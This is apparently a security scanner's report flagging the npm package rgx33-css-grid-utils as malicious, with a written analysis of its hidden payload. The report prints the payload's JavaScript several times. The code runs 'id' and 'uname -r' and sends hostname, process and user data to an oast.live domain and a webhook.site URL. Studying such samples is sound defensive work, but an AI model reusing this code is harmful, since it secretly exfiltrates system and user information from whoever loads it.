Loading npm security reports…

rgx33-css-grid-utils@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / rgx33-css-grid-utils / 1.0.0

rgx33-css-grid-utils@1.0.0

Simple CSS grid helper utilities

AI Security Review

scanned 6d ago · by lpm-firewall-ai

Loading thunderboltRegistry.js automatically collects and transmits host information. Its registry manifest exposes this executable payload as several registry assets.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing or otherwise evaluating thunderboltRegistry.js in an environment with the relevant APIs available.

Impact

Unconsented disclosure of hostname, process, user identity and kernel information; local system commands execute during payload loading.

Mechanism

An immediate function reads process metadata and the hostname, executes system identification commands, and sends results through fetch to external collection endpoints.

Attack narrative

The package ships an executable registry asset that immediately fingerprints its execution environment and sends collected information to external endpoints. It also invokes local system identification commands. The default package import is inert, but directly loading the shipped registry asset activates the collection without a user command or opt-in.

AI rationale

Inspected source demonstrates automatic external transmission of host and user information unrelated to CSS utilities. The inert default entrypoint limits activation but does not neutralize the active payload exposed through the registry manifest.

Evidence

thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json

Network endpoints2

davdpb8lhot13kgmnhp0863x9g83mpswq.oast.livewebhook.site/0492a36c-4d7b-408a-865c-226db25987ba

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-41javascript

1(function(){

2 var p = (typeof process !== "undefined") ? process : null;

3 var d = "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live";

4 var s = function(v) { return String(v || "x").replace(/[^a-zA-Z0-9]/g, "-").substring(0, 40); };

5 var nv = p ? s(p.version) : "no";

6 var pl = p ? s(p.platform) : "no";

7 var pid = p ? String(p.pid) : "0";

8 var hn = "unknown";

9 try { hn = s(require("os").hostname()); } catch(e) {}

10 try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"

11 var uid = "noid";

12 try {

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L9

13 var cp = require("child_process");

14 if (cp && typeof cp.execSync === "function") {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L8

15 uid = s(cp.execSync("id", {encoding: "utf8", timeout: 3000}));

16 try { fetch("https://" + uid + ".id." + d + "/z"); } catch(e) {}

17 var k = s(cp.execSync("uname -r", {encoding: "utf8", timeout: 3000}));

High

Ai Review Evidence

thunderboltRegistry.js executes id and uname -r and transmits system information.

thunderboltRegistry.jsView on unpkg · L13

18 try { fetch("https://" + k + ".k." + d + "/z"); } catch(e) {}

19 }

20 } catch(e) {}

21 try { fetch("https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba?where=wix-blog&hn=" + hn + "&pid=" + pid + "&nv=" + nv + "&uid=" + uid); } catch(e) {}

22})();

24var hosts = [

25 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

High

Ai Review Evidence

The same executable code sends collected host and user information to webhook.site without consent.

thunderboltRegistry.jsView on unpkg · L21

26 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

27 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

28];

29var factory = function() {

30 var n = 0;

31 return new Proxy({

32 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

33 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

34 getComponentsLoaders: function() { return {}; },

35 getLibrariesAssets: function() { return []; },

36 getManifestURLs: function() { return []; },

37 getHostBundleAssets: function() { return []; },

38 loadComponents: function() { return Promise.resolve({}); },

39 loadAllComponents: function() { return Promise.resolve({}); },

40 getRuntime: function() { return {libraries: []}; },

41 getManifest: function() { return {}; },

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js"

package.jsonView file

Lines 1-19json

2 "name": "rgx33-css-grid-utils",

3 "version": "1.0.0",

4 "description": "Simple CSS grid helper utilities",

5 "main": "index.js",

index.jsView file

Lines 1-2javascript

1module.exports = {};

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

index.jsView on unpkg · L1

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

8var hn = "unknown"; L9: try { hn = s(require("os").hostname()); } catch(e) {} L10: try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"); } catch(e) {} L11: var uid = "noid"; L12: try { L13: var cp = require("child_process"); L14: if (cp && typeof cp.execSync === "function") {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L8

9try { hn = s(require("os").hostname()); } catch(e) {} try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"); } catch(e) {} var uid = "noid"; try {

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L9

1(function(){ var p = (typeof process !== "undefined") ? process : null; var d = "[redacted].oast.live"; va

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L1

13var cp = require("child_process"); if (cp && typeof cp.execSync === "function") { uid = s(cp.execSync("id", {encoding: "utf8", timeout: 3000})); try { fetch("https://" + uid + ".id." + d + "/z"); } catch(e) {} var k = s(cp.execSync("uname -r", {encoding: "utf8", ti

High

Ai Review Evidence

thunderboltRegistry.js executes id and uname -r and transmits system information.

thunderboltRegistry.jsView on unpkg · L13

21try { fetch("https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba?where=wix-blog&hn=" + hn + "&pid=" + pid + "&nv=" + nv + "&uid=" + uid); } catch(e) {} })(); var hosts = [ "thunderboltR

High

Ai Review Evidence

The same executable code sends collected host and user information to webhook.site without consent.

thunderboltRegistry.jsView on unpkg · L21

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js", "siteAss

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

package.jsonView file

4"description": "Simple CSS grid helper utilities", "main": "index.js", "files": [ "registry-manifest.min.json", "thunderboltRegistry.js", "index.js" ], "k

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

package.jsonView on unpkg · L4

index.jsView file

1module.exports = {};

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

index.jsView on unpkg · L1

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-41javascript

1(function(){

2 var p = (typeof process !== "undefined") ? process : null;

3 var d = "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live";

4 var s = function(v) { return String(v || "x").replace(/[^a-zA-Z0-9]/g, "-").substring(0, 40); };

5 var nv = p ? s(p.version) : "no";

6 var pl = p ? s(p.platform) : "no";

7 var pid = p ? String(p.pid) : "0";

8 var hn = "unknown";

9 try { hn = s(require("os").hostname()); } catch(e) {}

10 try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"

11 var uid = "noid";

12 try {

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L9

13 var cp = require("child_process");

14 if (cp && typeof cp.execSync === "function") {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L8

15 uid = s(cp.execSync("id", {encoding: "utf8", timeout: 3000}));

16 try { fetch("https://" + uid + ".id." + d + "/z"); } catch(e) {}

17 var k = s(cp.execSync("uname -r", {encoding: "utf8", timeout: 3000}));

High

Ai Review Evidence

thunderboltRegistry.js executes id and uname -r and transmits system information.

thunderboltRegistry.jsView on unpkg · L13

18 try { fetch("https://" + k + ".k." + d + "/z"); } catch(e) {}

19 }

20 } catch(e) {}

21 try { fetch("https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba?where=wix-blog&hn=" + hn + "&pid=" + pid + "&nv=" + nv + "&uid=" + uid); } catch(e) {}

22})();

24var hosts = [

25 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

High

Ai Review Evidence

The same executable code sends collected host and user information to webhook.site without consent.

thunderboltRegistry.jsView on unpkg · L21

26 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

27 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

28];

29var factory = function() {

30 var n = 0;

31 return new Proxy({

32 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

33 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

34 getComponentsLoaders: function() { return {}; },

35 getLibrariesAssets: function() { return []; },

36 getManifestURLs: function() { return []; },

37 getHostBundleAssets: function() { return []; },

38 loadComponents: function() { return Promise.resolve({}); },

39 loadAllComponents: function() { return Promise.resolve({}); },

40 getRuntime: function() { return {libraries: []}; },

41 getManifest: function() { return {}; },

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js"

package.jsonView file

Lines 1-19json

2 "name": "rgx33-css-grid-utils",

3 "version": "1.0.0",

4 "description": "Simple CSS grid helper utilities",

5 "main": "index.js",

index.jsView file

Lines 1-2javascript

1module.exports = {};

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

index.jsView on unpkg · L1

rgx33-css-grid-utils@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code